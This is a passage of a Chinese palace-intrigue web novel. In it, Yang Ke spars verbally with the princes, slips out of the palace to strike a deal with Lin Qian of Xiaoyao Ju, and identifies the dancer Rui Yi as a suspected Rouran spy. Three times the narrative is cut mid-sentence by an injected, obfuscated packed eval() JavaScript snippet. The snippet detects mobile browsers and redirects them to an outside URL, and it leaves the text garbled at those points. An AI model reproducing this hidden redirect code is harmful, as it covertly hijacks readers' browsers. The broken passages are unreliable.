纪启明愠怒的目光在杨章二人身上打转:“若是探讨学问,怎么会落了水?入宫时嬷嬷们教的礼节规矩都忘了?” “夫子说得正是。”杨柯一个心急说秃噜了嘴,赶忙改口,“正是……正是探讨得入了迷,才不小心跌落了水里。” 一声低沉的嗤笑不远不近地传来:“纪夫子,这就是御书院今年新招的伴读?你们的遴选风格还真是别出心裁。” 杨柯抬眸望去,说话之人一身玄色窄袖蟒袍,负手立于宇文拓身侧,身姿挺拔,面容俊美。 她不禁呆在原地,并非因为对方的长相,而是此人让她想起了紫英阁的那位侠客——不过他的眉宇已是截然不同,更不似那晚的温和戏谑之态,反而是扑面而来的冷傲。 章可馨本埋着头乖乖认错,一听到他的声音,立马直起身指着杨柯告起状来:“二哥,方才她自己不小心落了水,还想栽赃到我头上,要打我呢!” 杨柯心中一惊,他竟是羲王宇文泰!难道是她认错人了? 宇文泰察觉到杨柯的目光,也微眯起双眼,开始打量起她来。 刘悦当即附和:“望殿下明鉴,臣亲眼看见她动手打可馨!” 还没等他做出反应,宇文拓对着一旁半身湿透的云昌吉道:“哟,云兄也来了?”语气中满是嘲弄,“怎么,你也跟她们一起探讨学问了?” 众人又是一阵低笑。 云昌吉正色道:“回禀殿下,臣见她二人争执起来,便想出手拉一把。” 宇文拓哂笑道:“故而拉进水里了?” 杨柯见状解围:“殿下误会了,臣不小心失足掉进湖里,幸好云公子伸手相救,才捡回一命。方才跟章姑娘开了个玩笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207051|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到她竟以为是我恶意出手。” 章可馨立刻回嘴:“杨柯,你别歪曲……” “你就是杨柯?”宇文泰听到她的话中的名字眼眸一亮,目示其噤声。 杨柯道:“回殿下,臣是杨柯。” 风吹过,他的袍子被轻轻扯动,眉眼也落着冷意:“原来你就是李太傅的关门弟子,没想到师父竟会收个乡野丫头。” 他口中的李太傅便是李元。宇文拓与宇文泰是宫中年纪最长的两位皇子,也是李元卸职前唯二教过的学生。 杨柯压着怒气道:“若按殿下所说,师父也教出了您这等刻薄之人。看来咱们还真是‘同宗同门’。” “呵,倒是伶牙俐齿。”宇文拓抢先开口,身上的紫金长袍流光溢彩,他转头瞧了宇文泰一眼,突然看好戏一般笑了,“二弟,这女人还挺有趣,不仅打了可馨,还有胆子来冒犯你。” 宇文泰并未发怒,语气满是闲散:“无知者无畏,也不知道师父从哪里找来的徒弟。” 杨柯道:“臣确实无知,但也懂得尊师重道,不会像某些人,学了满腹经纶,却用来中伤同门,实在是有辱师门。” 宇文泰这才凝眸细看起她来,良久后启唇道:“你所谓的尊师重道,难道就是口出狂言,目中无人,在外败坏师父的名声?”嘴角扯出一个冷笑,“中伤同门?我宇文泰行事向来光明正大,从不背后伤人。” 杨柯揶揄道:“口出狂言、目中无人的好像是殿下您吧?不过您最好行事磊落,也断然不会效仿那些仗势欺人、以权压人之辈。” 她的语气逐渐加重,宇文泰神情倨傲地凝视着她,杨柯也毫无畏惧地回视,两人便这样僵持着。 乐白赶紧解围:“阿柯她们年纪尚小,露出些童稚心性也是正常,倒是给咱们这冷清的宫里带来不少乐趣,前几日宸妃娘娘还在跟我说,宫里太安静没生气呢。” 宇文拓把玩着手里的珠串,摇着头,颇为惋惜地说:“纪夫子,我看这种事最好还是惩戒一下,不然天下人都以为皇宫是随便来往的地方。” 乐白急道:“大哥,她们素来规矩得很,惩戒还是算了吧。若是严加管教,恐怕坊间会议论皇家。” 宇文拓挑起眉毛,问向宇文泰:“二弟认为,该如何是好呢?” “乐白的顾虑不无道理。但是皇家威严不可妄议,”宇文泰特意停顿了一瞬,对着杨柯漠然一瞥,“念在二人初犯,就劳烦纪夫子费心教育了。”说完,视线落到云昌吉身上,“昌吉,你随我回武华殿去吧。” “是!”云昌吉也向纪启明行礼,又趁机冲乐白三人使了个眼色,颠儿颠儿地跟着宇文泰走远。 “快起来吧,阿柯,可馨,我不管你们之间到底有何冲突,但若此事再次发生,”纪启明停了停,略了一眼她俩的神色,“你们都是聪慧机敏之人,我想不必为师赘言。”虽然仍在责怪,但语气已经缓和了很多。 二人齐声应道:“多谢夫子!” 待他们全都离开,杨柯支起身子站了起来,跪了这么久,下半身早已腿软筋麻。还不等她站稳,忽听身侧传来一声娇怒:“杨柯,今天的事你不要以为就此罢了,从今往后,有我在,就没你的好日子!”章可馨说完便扶着头上的鸟窝悻悻离开。 “以后小心点!”刘悦也叫嚣一声,接着跟在她屁股后面走远了。 杨柯没力气再去同她们争嘴上的输赢,脑子里思忱着另一件要事。 乐白望着二人远去的方向忿忿道:“章可馨和刘悦属实可恶!” 杨柯安慰道:“少跟她们接触就是。今日这么一闹,想来她们以后也不会多嚣张。” 乐白听言点头:“说得有道理。” 杨柯为了让她放心,虽嘴上这么说,但心中实在忿恨。自己无拘无束地长大,进宫以后竟屡屡碰壁受缚,何况这日子还有三年!脑子里只有一个声音:必须要逃! 可是,光凭自己的力量何以撼动这一整座皇宫?她脑中突然闪过“逍遥居”三个字。那晚侠客留下的玉佩不就是个机会?即使其中有诈,也要去试一试。 宇文泰冷漠的眼神又跳进了她的脑海里。那样的眼神,绝不可能出自同一人。她心中更加坚定了,为了以后的日子好过些,一定要去逍遥居。 7. 林骞 第二日,天色渐暗,杨柯换上一身黑衣,往宫门的方向去。 她依着云昌吉描述的禁军排布细节,躲开了守夜侍卫的视线,顺利抵达了最后一道宫门。此处由羽林卫严密看守,纵使有了昌吉的情报网也无能为力。她伏在房檐边缘,正准备趁着对面的羽林卫转身的间隙,一鼓作气攀至宫墙顶上去,可刚迈出脚步,鞋底与砖瓦一擦,“嘎吱!” 那羽林卫瞬间警觉,手中长枪一横,厉声喝道:“何人在此!” 杨柯心中暗叫不好,转身拔腿就跑,一跃飞过了方才的宫墙,将那羽林卫挡在了墙对面。 还好没叫他逮住,杨柯正暗自庆幸着,忽然耳边乍现“嗖、嗖、嗖” 三道尖锐声响,速度快得几乎只能捕捉到残影,定睛一看,竟是三道飞镖! 她喉头一紧,不禁叹道:“好生强劲的内力。”镖身擦过她脸上的皮肉,火辣辣地疼。这飞镖的落点绝非偶然,来人显然并非因为技艺不精而失准,恰恰相反,他能以内力控制飞镖行迹,在她疾速奔逃之际,让镖身以毫厘之差擦过她的耳际,分明是在向她发出警告。 看来这次仅凭轻功并不能轻易摆脱,今晚要出这个宫门是不能善了了。 杨柯瞅准了个位置隐蔽的角落,脚下步伐猛地一收,迅速回身,望向来人。 果然是高手,就在她脚步放缓之余,来人已预判了她的走势,稳稳立于几步之外。 此人一袭白衣,立于月光之下,竟让杨柯想到“琼姿皎皎,玉影翩翩”八字,心里不禁暗叹,宫中真是藏龙卧虎,竟有如此天人之姿。 “大人,小女并不知您是什么身份,但还请您网开一面。”杨柯说话之时特意冲着对方斯斯文文地作了一缉,“我不过是想出去透个气,并非什么作奸犯科之辈,更犯不着动用皇家如此多的人力。” 男子轻轻一笑:“若姑娘只是想透个气,何必不走大门,偏走邪道?” 杨柯无奈道:“还不是苦于宫中规矩。” 男子故作好奇:“宫里只让进,不让出么?” 见对方揣着明白装糊涂,杨柯心中不快,也不想与他多费口舌,索性直接上手。 可这人反应极快,回身一避便让她扑了个空,随即将她从身后制住。不过杨柯早已预判,迅速回身绕过。可这短短一瞬的所见,饶是让她暗叫惊为天人:此人一双褐色桃花眼,脉脉含情,点尘不染,神仪明秀,如若仙人,可眉宇间却透着一股难以言喻的忧郁。 当时的杨柯还不知道,就这一张脸,只闪这一眼,够她记一辈子。 “姑娘何须动气,有话好好说便是。”就在她为男子暗叹的短短一瞬,反而让对方趁机点住了关键穴位,无力再战。 杨柯扶着廊柱,勉强站住:“你装什么糊涂!我若能光明正大地出去,早就出去了,还……还犯得着攀墙爬屋。” 男子负手问道:“你是新进宫的伴读?”此番出行,必须赶在戍时皇宫禁行之前动身,时间紧迫,杨柯只是换了一身夜行衣,竟忘了将腰间的伴读符摘下来。 她并不多语,直截问道:“你点的穴要多久才能恢复?” 男子徐徐道:“这么着急,看来确实扰了你的兴。” “对,你就是扰了我的雅兴。快给我解封,不然今晚喝酒的时间都要被你耗光了!” “宫中女子虽爱喝酒,但极少愿意去坊间喝酒。”他眼底的琥珀微光闪着几分狡黠,“没想到杨姑娘不仅拳脚功夫一流,连举止也非同寻常。” 杨柯听懂了他话中的暗讽:“哼,拳脚功夫和大人比起来,还是差一点。” 男子笑出了声:“哦?看来真是杨姑娘,久仰大名。” 杨柯暗自懊恼,怎么就中了这家伙的圈套,这回连身份都保不住了。忽然鼻尖嗅到一缕酒香,她灵机一动,调侃对方道:“小女礼节欠佳,让大人见笑了。倒是大人您,深夜独坐于此,赏月品酒,别有一番雅致。” 男子低头看了一眼腰间挂着的酒壶,抬眸一笑,那笑容竟煞是好看:“看来杨姑娘今晚不用出去了,我这就有现成的酒。” “您的好意我心领了,不过这个宫——我是出定了!”话音还未落,便点了他的穴,转身抬腿就跑,男子虽反应过来,却为时已晚。 原来就在酒香飘来之际,杨柯身上的封印已经尽数解除,她却装作浑身无力的样子,挑起话题,让对方放松警惕,趁机封住他的穴位,来了一招“以其人之道还治其人之身”。 “今晚您就自个儿好好品酒吧,恕不奉陪!”杨柯回身冲他眨眨眼,施起轻功扬长而去。 凭着侠客留下的那句“庙后山阶左入丘,棘间石尽见云楼”,杨柯奔去了城南山神庙后,果然找到了蜿蜒石阶。抬首望去,枯松处左侧有一荆棘小径,于是便拾级而上,穿过小径,踏过三块巨石,于尽头那片幽篁深处,终于找到了逍遥居的门楣。 步入园门,修竹半掩,兰芷逸香,两三松鼠跃岩嬉于泉石畔,再往里走,一片梅林映入眼帘,杨柯看得呆了,到了初夏竟然还有成片的梅花?她正要往里走去,忽听得花林中歌声细细,走出一个青衣女子,见了杨柯被唬了一跳,旋即又恢复笑颜:“姑娘登临逍遥居,有何要事?” 杨柯被眼前美景吸引,这时才想起自己的来意,“我……我是来找人的。” “可有提前约定?” 杨柯点点头,青衣掩嘴一笑,接着抬袖引路:“姑娘这边请。” 走进了屋子,一个中年男子端坐于侧首的木案跟前,身上穿一件半新不旧的青白褂子,执笔写着什么,端的是意态从容,块然磊落。杨柯暗自心想,那侠客果真没有糊弄她,光是此人的面貌就可看出逍遥居的不俗来。 “石大哥。”青衣开口轻唤,男子从书案上抬起头来,目光棱棱,坦然自若,见了杨柯徐徐起身,“请问姑娘有何要事?” 杨柯只对着来人说:“我找你们首领。” 石大哥一脸诧异,视线转向青衣,“芳芷,怎么回事?”芳芷也摇摇头。 这时,杨柯从袖中拿出一枚玉佩,二人见了玉佩脸色一变,对视一眼,芳芷惊讶问道:“姑娘这玉佩是从哪儿来?” 她回道:“自然是从你们逍遥居来。” 石姓男子目光微凝,抬手正色道:“且随我来。” 杨柯随石大哥踏入殿中,迎面便是一幅六丈檀木屏——苍鹰破云之势铺陈在朱红漆底,鹰眼鎏金映得青铜灯穗轻晃。屏前有一男子负手而立,腰间的鹰首玉佩与杨柯手中的正是一模一样。 听到脚步声,他回过身来,杨柯绞尽脑汁地回忆着那晚侠客的模样,可却只记得宇文泰的脸,而面前这张脸与宇文泰在眉眼间倒是有五分相似。 “姑娘光临寒舍,莫非又是来比武?” 还真是他!杨柯心下赧然,时隔半年,他居然立刻认出了自己。 “公子说笑了,若论武功,就算再过半年,我也是自愧不如的。” “看来姑娘决定同逍遥居合作了?” “公子果真是爽快人。即便萍水相逢,也不会忘记许下的承诺。” 男子微微欠身:“这承诺既由我许下,便绝无食言之理。” 杨柯笑道:“太好了,费劲跑这一趟也不亏。” 听了她这句,男子朗然一笑:“姑娘特意寻来,想必是有所求了?” 对方开门见山,杨柯也不遮掩:“我的目的只有一个,倒不会花费逍遥居太多人力。” “请讲。” “很早便听闻逍遥居集齐了江湖各式奇怪兵器,不知是否藏有遁光衣?” “遁光衣?”男子眉毛一挑,“姑娘的私事林某本不应多问,可这遁光衣并非一般器件,若要借于你,并非随随便便就能答应。” “这倒是好说。我要这遁光衣,只有一件事——摆脱家中父母的控制。”知道他们心中对自己保有怀疑,杨柯装作无奈地摇了摇头,“我一个女子,武功也不高,又能做什么坏事。” 男子含笑道:“姑娘不必着急,事情好好商量总有解决的办法。”他抬手扶着下巴,“姑娘若能寻得一位江湖上德高望重之人作保,或是留下一件价值相当的信物,待你归还遁光衣时,林某便即刻奉还。如此,我也好向逍遥居上下交代,也能放心将这遁光衣借予姑娘。” 杨柯微微皱眉,心中暗自思量,德高望重之人作保谈何容易,自己从未涉足江湖,人脉有限,一时间难以找到合适人选。至于信物,她虽有些珍贵物件,可皆是父母所赠,不舍留下。但为了摆脱皇宫的控制,她又实在不愿放弃这个机会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207052|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨柯咬了咬牙:“公子,作保之人我一时难以寻到,但我愿留下这枚玉环。”说着,她将手上带着的一对玉环取下一只,递向对方,“这玉环本是成双,我娘在我出生之时就为我戴上。虽不是什么稀世珍宝,但对我弥足珍贵。” 男子双手接过,啧啧称赞道:“这玉环看着稀奇,应当是不凡之物。”抬眸对杨柯一笑,“被明月兮佩宝璐,美玉落在姑娘手腕上,倒是人物合一。” 杨柯谦道:“玉环易碎,放在我手里总是磕磕碰碰的,所幸留到了现在,不然我就要背上暴殄天物的罪名了。” 男子仰头大笑:“姑娘放心,此环入我手时如何,待到归还时,它依然如何。至于遁光衣,三日后来取便是。” 杨柯也跟着咧嘴笑起来:“好,成交!” “鄙人姓林,单名一个骞字。”林骞向杨柯介绍自己,他抬手冲着方才的石大哥道,“这是家父石介。” 石介,林骞?不多耽搁,杨柯抬手行礼:“林叔叔,”随即意识到嘴上差错,赶紧改口道,“抱歉抱歉,石叔叔。” 林骞看得发笑。石介虽名为介,但他自己倒不介意,朝她微笑道:“姑娘怎么叫都行。” “杨柯,你们叫我阿柯就行。”说完杨柯冲他俩嘿嘿一笑,以示歉意,“我想知道,作为回报,逍遥居需要我做什么?” “和聪明人说话就是舒服。”林骞嘴角泛起笑意,以手附额思索着,“还记得第一次相逢,小柯与紫英阁老板红娘的关系好像就已经非同一般。” “紫英阁?”好强的观察力,杨柯心中暗叹,那日他们交手也不过一刻,他便早已把她和紫英阁的关系摸清楚了。 “能喝上桃花酿的人,想必也是紫英阁的贵客吧。” “林公子说笑了,我和红娘不过相识于微时,她为人仗义,如今做大,总会在阁内给我留出个席位。” 林骞微微颔首:“逍遥居并非有攀附之意,只是想请小柯能以紫英阁为托,掌握一个人的行踪。” “此人与紫英阁有何关系?” “据线人的消息,紫英阁内部存在敌国势力。” “不可能!”杨柯惊得站起身,“红娘与我相识数十载,她哪会窝藏间谍。” 林骞垂睫一笑:“红娘确实不会,但不妨碍她会被人利用。” 杨柯又颓丧着坐下:“这样吗……那就麻烦林兄详细告知了。” “这个组织名为影刃阁。由前任柔然王暗中创立,现在受柔然王子阿揽延控制。我们尚不清楚他们潜伏在京城的目的。如果贸然发动攻击,很可能会打草惊蛇。根据最近的线报,此人在紫英阁已经潜伏了一段时日,她的身份隐藏得极深,紫英阁上下都未曾察觉。她平日里行事低调,但每当紫英阁有朝中大臣或将领登临,事后不久,柔然那边就会有相应的行动。” 杨柯有些迟疑道:“仅仅是这样,恐怕还不足以证明她就是间谍吧。” “自然不止如此。她每隔一段时日,都会在特定的时辰独自外出,而且她外出的路线十分诡异,似乎是在刻意避开什么人。”林骞慨然摇头,“我曾派人跟踪过她,可惜,每次都被她甩掉了。” 杨柯点头喃喃道:“这件事我确实能帮上一些忙。” “你和红娘关系匪浅,自然是最好的人选。” “那林兄可有什么帮助识别的方法?若凭着感觉去寻人,恐怕有些不妥。” “这个好办。影刃阁的成员身上都有个特殊的刺青,名为‘蚀骨印’,呈三枚新月形刀刃环着蛇骨的形状,只有他们在接受杀人任务后才会浮现。” 杀人任务?看来这组织还挺危险。杨柯心里一紧,但为了自己的自由,想也没想便承诺道:“好,林兄交代的事情,一定全力以赴!” 林骞展颜一笑:“何必如此客气。” 杨柯眼眸闪过微光:“对了林兄,冒昧问一句,家中可有兄弟?” 只见他脸色稍稍一变,随即又露出了一贯的笑容:“只有我一子,小柯为何要问这个?” 杨柯抱歉地笑道:“没什么,只是前段时间见到一人,长得与林兄肖似,当时我还把他错认成了你,闹了些笑话。” 他苦笑颔首道:“世上的人千千万,长相相似的又何其多,不过是皮囊而已。” 8. 芮伊 趁着这次出宫的机会,索性一次性把所有事情都打点好,杨柯前脚刚出逍遥居,后脚便直奔紫英阁而去。 刚一踏进紫英阁大门,元英便扑了上来:“杨公子,紫英阁这几日是吹了什么风,把您给盼来了!” “哪还要风来催?有你元英在,我怎么能忍住不来?”杨柯说着捏上元英粉扑扑的脸蛋,一股花香窜进鼻腔,往日熟悉的感觉顿时涌上心头,只觉四肢百骸一阵畅快。 “杨公子还是坐老位置?”元英攀上她的肩膀,语调中又添上几分娇声嗲气,“枕流轩一直给您留着呢,前几日户部尚书家的公子来订,都让红娘给回绝了。” “红娘现下在哪逍遥呢?”杨柯一边往里走,一边搜寻着红娘的身影。 元英娇笑着应道:“正在楼上忙着呢,杨公子跟我来。” 杨柯端着元英给的盐焗杏仁,刚打开聚义厅的大门,便看见红娘伏在青玉案前,手里的算盘拨得噼啪响。 “红娘,数钱数得手抽筋了没?” “我的小祖宗,你可算来了!”红娘招手唤她过来,甩着翡翠烟杆指向二楼雅间,“我新得了个柔然宝贝,可比你上回顺走的夜光杯还稀奇,要身条儿有身条儿,要长相有长相!” 杨柯听到柔然二字,竖起了耳朵,嘴上恭维道:“看来红娘要芝麻开花节节高咯!” “多谢杨公子好言啦!芮伊一来,我紫英阁又多了不少客人,”她凑近了杨柯,压低了声音,“就连刘生刘大将军都每天光临呢!” 刘生?刘悦要是知道自己的亲爹流连于烟花之地,会不会毛都炸起来。杨柯想到那画面,忍不住笑出了声。 “你别不信,那些混沙场的最是稀客。” 见红娘一脸得意的样子,杨柯的胃口也被吊了起来:“红娘的眼光一向挑剔,这芮伊到底是什么神仙人物?快带我瞧瞧!” 红娘咯咯直笑,“急什么,今天紫英阁的压轴安排的就是她。”说着拉上杨柯往珠帘内走去,穿过重重帘帐,耳边鼓声铃声渐渐清晰,红娘在她耳边低语,“小心别被勾去了魂儿。” 顺着红娘的笑眼望去,裙翻骤雨,风荡华裀,如此美人,曾有汉武大帝为之动心。杨柯看得呆了,视线跟着倩影闪动,好似化作她纤腰上的珠链,雪足上的银铃,随着美人的动作魂摇魄乱。忽然,那羯鼓声乱了半拍,孔雀蓝织金纱下隐约闪过一道银灰色寒光,杨柯顿时警觉,眯眼紧盯住芮伊露出的那截雪色脚踝——新月蛇骨的刺青时隐时现,正是林骞说过的“蚀骨印”。 得来全不费功夫,杨柯又往嘴里送了一颗盐焗杏仁。 羯鼓声戛然而止,雷鸣般的掌声响起。芮伊微微欠身,以汉人礼节作尾。不出多时,银铃声在聚义厅里响起。 “真真是‘琉璃易碎彩云散,胡旋一转九重天’。芮伊的胡旋舞,可比京城的云鬓舞还带劲。” 杨柯回身看向芮伊。果然,美人远看和近看是不一样的:远观若月窟仙娥、雪岭狐仙,走近了才瞧见她的波斯猫儿眼,龟兹石榴唇,眉间的那颗朱砂痣,竟是用骆驼刺花汁点就的塞上胭脂。 芮伊垂眸一笑:“公子若亲眼见到柔然的宫廷乐舞,方知什么才是真正的‘胡旋一转九重天’。” “小时候去过一次柔然,可惜没福气进宫去瞧上一眼。如今见了芮伊姑娘的舞姿,也算弥补了遗憾。” 芮伊轻轻福身:“多谢杨公子美言。” 杨柯朝她嬉笑:“不过芮伊这脚铃声,倒让我想起乡下灶台上炖糊的冰糖银耳羹,叮叮咚咚怪热闹的。” 芮伊神色一凝:“公子若嫌聒噪,何不去护城河听蛙叫?那儿的动静想来正合你意。”说完,反手将玉樽带落在地。 “好姐姐这话差了!”杨柯伸手一捞,视线仍放在芮伊身上,“京城里谁不知道紫英阁的蛙最金贵?听说,上月西市有个学蛙叫的,愣是把对街郝掌柜怀里的猫眼石都骗了去。”她说着鼓起腮帮子咕呱两声,腕间月牙玉环跟着撞出清脆颤音。 芮伊被她逗笑:“紫英阁只养雀儿,可没什么蛙。” “姐姐若想听蛙叫,我给姐姐叫两声便是。” 芮伊轻声道:“若真要养蛙,我定喂它吃盐焗杏仁。”说着抬步向前,孔雀蓝披帛扫过杨柯脸颊,留下满鼻馨香,“省得被某些人拿来当暗器使。” “暗器?这分明是给姐姐的胡旋舞配乐呢!” 红娘端着金盘掀帘进来:“你们两个消停些,后厨新烤的肉饼都要被闹糊了!” “糊了正好!”杨柯念起一句柔然谚语,“有句话叫‘沙漠里追着海市蜃楼的傻骆驼’,我们这些看客啊,就是追着芮伊跑的傻骆驼。撒把安息茴香,刚好给我们补点儿口粮。” 芮伊回身一笑,指着杨柯踮起的翘头履:“公子可知柔然人管这叫‘沙狐尾’?专治话多的聒噪鬼。” “啊丘!”杨柯还没来得及回话,便被端来的香料熏得打了个喷嚏,抹着鼻子乐呵呵道:“芮伊好生幽默,哪有骆驼开口说话的?” 西域美人留下一缕轻笑,一个转身旋出珠帘,扬长而去:“公子若真见过骆驼,就该知道,它们最擅长在沙暴里藏住水源。” 红娘望向她二人,一脸狐疑地坐了下来,捻下盘里的一小块肉饼:“你们左一句右一嘴的,打什么哑谜呢?” 杨柯伸出食指点她:“这叫暗、语。” “还暗语呢!你能憋出几句柔然话来?” “好姐姐,”杨柯佯装醉态搂住红娘脖颈,“这西域美人儿借我两日可好?我府里正缺个伴舞的。” “你拿她去作伴舞?”红娘白了她一眼,“活该你长这么大还讨不着媳妇!” 杨柯饶有介事道:“红娘,今时不同往日,你可知道我进宫以后平日里接触的都是哪路神仙?” 红娘捂嘴笑道:“你还真是幽默,我红娘就算再孤陋寡闻,也不会不知什么人能进宫,什么人不能进。” 杨柯装作可惜地叹道:“这回我可是见到当年失传的霓裳羽衣曲了。” 红娘惊得挺身坐起:“霓裳羽衣曲!这曲子早就失传了几百年,怎会突然出现在宫中?” “曲子确实失传,不过是在民间。”杨柯悠然捻起茶叶,“皇宫的天书阁里藏着原曲原谱。” “此话当真?” “若有假,又如何?世人皆未见过真正的霓裳羽衣曲,你紫英阁吃头啖汤,谁有理由质疑?”杨柯将茶叶放入壶中,定定地看着红娘,“更何况我拿到的就是原曲。” 红娘脸上的怀疑渐隐,旋即又浮上一层担忧:“可是霓裳羽衣曲是宫廷禁曲,若紫英阁演了,岂不是要得罪朝廷?” “假作真时真亦假,改一改不就行了。况且芮伊不就来自柔然?让柔然人演绎霓裳羽衣曲,虽不是原曲,但胜似原曲。”杨柯抬手搭上红娘的肩膀,“到那时,何人不来你紫英阁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207053|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红娘眼中笑意渐深,眼珠转了几道,撒娇道:“不知道杨公子给我这么好的美事,红娘要怎么报答才好。” “还是红娘会做人。今日我来找你,正是为了此事。” 红娘向来知道杨柯的脾性,没事不说,一开口便是大事,抬手便要唤元英进来:“元英啊,先带杨公子到枕流轩去。” 杨柯赶忙拉住她的手:“好姐姐,好姐姐,你听我说。” 红娘忙不迭道:“杨公子,我知道你素来帮衬紫英阁,可我红娘做人得讲究。你都愿意给我禁曲了,那我岂不是得把半个紫英阁给你?” 杨柯惊道:“姐姐如今怎地这般胆小怕事?” 红娘听了气急败坏,“你这混账东西,骂谁呢!”说完,心一横,“行,你到底想要什么?姐姐我看看能不能给你。” 杨柯见激将起了效果,笑着揽住她的肩,哄她道:“红娘,一个霓裳羽衣曲算得了什么?只要我在宫中,就能给紫英阁带来最好的歌曲。我这边呢,只需麻烦红娘帮我注意个人。” 红娘听完倒也不急了:“我这紫英阁里每日来往的人多达千数,杨公子要什么人没有?” 杨柯哈哈一笑:“那就好。其实也不必劳烦红娘,因为这人我已经找到了。” 红娘奇道:“何人呐?” “不是别人,就是芮伊。” 红娘瞪大了眼睛:“芮伊?!” 杨柯悄声道:“她的身份特别,或许她来京城,目的并不单纯。” 红娘眉头一跳:“听杨公子这话,好像不简单呐。直接说吧,你要我做什么?” “帮我留意芮伊行踪便可,尤其是在外的行径。”说完,递给红娘一封密信,“这是通信的地点,每日卯时,自会有人前来取信。若有异常,及时传信给我便是。” 到了后半夜,天蒙蒙亮,紫英阁内逐渐安静了下来,偶尔传来令人脸红的床笫之声。 一人快速踱出紫英阁,穿梭在狭窄的巷弄间。紫英阁的灯火在她身后渐渐远去,直至完全消失在视线之中。最终,她停在了街上一间普通的中药铺子前。 这家铺子门面不大,木制的招牌在夜风中轻轻摇摆,上面用正楷写着“济世堂”三个大字。 那人步入店内,目光迅速扫过四周,确认没有异常后,轻轻将斗笠的纱帘向上撩起一角,露出了半边脸庞,对着柜台后的老板微微一笑,此人正是芮伊。 “姑娘,今日想取些什么药材?”济世堂老板赵百草年近四十,一双吊眼里藏着几分精明。他见芮伊进来,随即放下手中的药杵,缓缓向她走近。 芮伊轻轻摇了摇头,压低声音道:“赵哥,公子下了任务。” 赵百草闻言,神色一凛,随即示意她跟随自己到后堂。穿过几道屏风,他们来到了一间隐秘的小室。室内烛光摇曳,墙上挂着几幅草药图谱,中央摆着一张简陋的木桌。 芮伊从袖中取出一张纸条,递给了赵百草。他接过纸条,迅速拆开。读罢,便将纸条放上蜡烛焚烧殆尽。 “姑娘放心,此事我必当尽心竭力。” 芮伊点了点头:“十日之后,送药到紫英阁便是。”言毕,她抬手轻轻理了理斗笠的纱帘,准备离开。 转身之际,她轻声道:“此事事关重大,赵先生千万小心。”话音甫落,她便如同来时一般,悄无声息地消失在了灰蒙蒙的天色之中,只留下中药铺子里那盏昏黄的灯光。 9. 少女 捻指过了三日,一个蝉鸣炸锅的晌午,杨柯哼着不成调的曲子,摇头晃脑地端着一盏冰镇过的琉璃壶走在宫道上。 昨日,她去了趟逍遥居,终于拿到了梦寐以求的遁光衣,底下还留着林骞的字条:襟角酒渍乃醉扶杨柳所致,柯若嫌弃,烦请浣洗时添两勺桃花酿,旧衣新香,聊表寸心。杨柯凑近闻了闻,一点儿异味也无,倒还有几分馨香,当即乐呵呵地披上衣服,悄悄回了趟家,而后一路从城东跑到城西,围着京城绕了一大圈,直到太阳落山才飞回皇宫。直到今日,乐呵劲儿还没消,即便日上中天,也乐意替青桃跑到内务府领取份例的冰镇酸梅汤。 这时,一个宫女正抱着一筐馊饭往永巷挪。路过冰窖时,她盯着宫人们抬出的西瓜车直咽口水。 “哟,这不是鎏芳宫的杜衡吗?”老太监陈瑞金晃着金镶玉的挖耳勺,“听说你主子最爱吃冰镇樱桃,现在地府里可没这稀罕物。”说着把半碗樱桃核泼在她裙摆上,几个小太监笑得前仰后合。 杜衡盯着粘在裙角的果核,突然抓起竹筐扣在头顶:“多谢陈公公提醒,主子吃不到,那就先孝敬孝敬您吧!”馊饭汤顺着箩筐缝滴答而下,陈瑞金见那酸水就要撒到自己身上,大声尖叫着躲开。 “反了天了!”他扯着公鸭嗓开始喊人,身后的几个公公立即将杜衡按在铜缸上,她原本白皙的脸霎时被烫的鲜红。 “住手!”杨柯把冰镇酸梅汤往铜缸上一墩,陶壶底瞬间滋滋冒白烟。 陈瑞金细长眉毛一挑:“这位可是杨姑娘?”臂间拂尘一收,打了杨柯一脸,“您可别碍着我们内务府的事儿。” “陈公公,我奉宸妃娘娘口谕收集消暑良方。”杨柯双手合拳,对着景泰宫的方向拜谢如仪,“这位姑娘的汗珠子比玉泉山的泉水还清亮,正适合做……做……冰鉴引子!” 陈瑞金的拂尘僵在半空:“这算什么典故?” “《齐民要术》都没读过?没见民间三伏天都要请‘汗娘娘’坐镇冰窖?”陈瑞金见她煞有介事的模样,狐疑不决。 这时,杨柯突然指着西瓜车惊呼:“哎呀!怎么这瓜里掺进了虫子?宸妃娘娘得生气了!”众人的视线皆被她指着的方向吸引过去,愣神间,她一脚将西瓜车踢翻,拽着杜衡抬腿就跑。 “杨姑娘……”杜衡惊呼,话音未落,身后忽而响起此起彼伏的摔跤声。 “啊呀呀!我的瓜!” “别让她们跑了!” “疼死我了!” 